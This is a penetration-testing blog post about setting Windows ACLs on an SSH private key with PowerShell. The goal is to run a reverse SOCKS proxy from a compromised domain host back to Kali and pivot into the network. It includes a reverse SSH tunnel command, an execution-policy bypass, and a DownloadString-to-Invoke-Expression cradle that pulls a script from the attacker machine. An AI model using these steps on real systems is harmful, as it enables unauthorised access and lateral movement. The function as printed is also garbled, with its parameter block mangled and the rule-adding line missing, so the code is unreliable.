Setting SSH Private Key ACLs in PowerShell

In this post, I demonstrate how I use PowerShell to set the ACL on a SSH private key file, in order to use it to run a SOCKS proxy using SSH.
Setting SSH Private Key ACLs in PowerShell
In: PowerShell, Computer Networking, Attack, Code

The Problem

There have been times when I've gotten a reverse shell on a Windows target and wanted to use the ssh.exe binary on the host to create a reverse SOCKS proxy back to Kali in order to pivot into the network.

I'd run something like this:

ssh -i <private-key-file> -fNTR <port number> user@kali-ip-address

Only to receive this annoying error message:

Bad permissions. Try removing permissions for user: ADDC1\\Domain Users (S-1-5-21-2239830804-1892431063-1869081798-513) on file C:/xampp/htdocs/dvwa/vulnerabilities/exec/test.
Permissions for 'test' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "test": bad permissions

So, the permissions on the SSH private key file are too open. Normally on a Linux host, you'd just run chmod 600 <keyfile> and call it a day. Not so straightforward on Windows.

If I run icacls <private key file> in the remote shell, I see that the private key file has inherited a whole bunch of permissions that SSH does not like – and there is no bypass to the permissions check in the SSH binary.

icacls test
test ADDC1\Domain Users:(I)(RX)
     NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

The Solution

PSToolbox/Set-SSHPrivateKeyAcl.ps1 at master · 0xBEN/PSToolbox
PowerShell module containing a set of generally useful tools. - PSToolbox/Set-SSHPrivateKeyAcl.ps1 at master · 0xBEN/PSToolbox
function Set-SSHPrivateKeyAcl {

    Param (
            Mandatory = $true, 
            ValueFromPipeline = $true
            if (-not (Test-Path $_)) { throw "Invalid Path: $_"}
            else { return $true }

    process {

        foreach ($file in $KeyFilePath) {

            $acl = Get-Acl $file

            $identity = whoami
            $rights = 'FullControl'
            $type = 'Allow'

            # Create an access rule with the current user getting full access
            $accessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $identity, $rights, $type
            # Add the rule to the object
            # Apply the changes
            Set-Acl $file $acl

            $acl = Get-Acl $file            
            # Protect the file from inheritance
            $isProtected = $true
            # Remove existing inherited rules
            $preserveInheritance = $false
            # Strip inheritance
            $acl.SetAccessRuleProtection($isProtected, $preserveInheritance)
            # Apply changes
            Set-Acl $file $acl

            $acl = Get-Acl $file
            # Remove any remaining access rules
            $acl.Access | 
            Where-Object {$_.IdentityReference -ne $(whoami)} |
            ForEach-Object { $acl.RemoveAccessRule($_)}
            # Apply changes 
            Set-Acl $file $acl



  • I start up a Python web server on Kali where the script file is stored
  • From the reverse shell, I start a PowerShell instance: powershell -nop -ep bypass
  • I create a web client to download the script string and load it into memory:
$wc = New-Object Net.WebClient
$wc.DownloadString('http://kali-ip-address/Set-SSHPrivateKeyAcl.ps1') | Invoke-Expression
  • The function is now loaded into memory
  • I execute it on the SSH key file: Set-SSHPrivateKeyAcl -KeyFile C:\Path\To\Key\File
Set-SSHPrivateKeyAcl -KeyFile .\test

icacls test

test ADDC1\web.user:(F)

Successfully processed 1 files; Failed processing 0 files

Perfect, now my reverse shell user is the only one with access to the key file.

More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.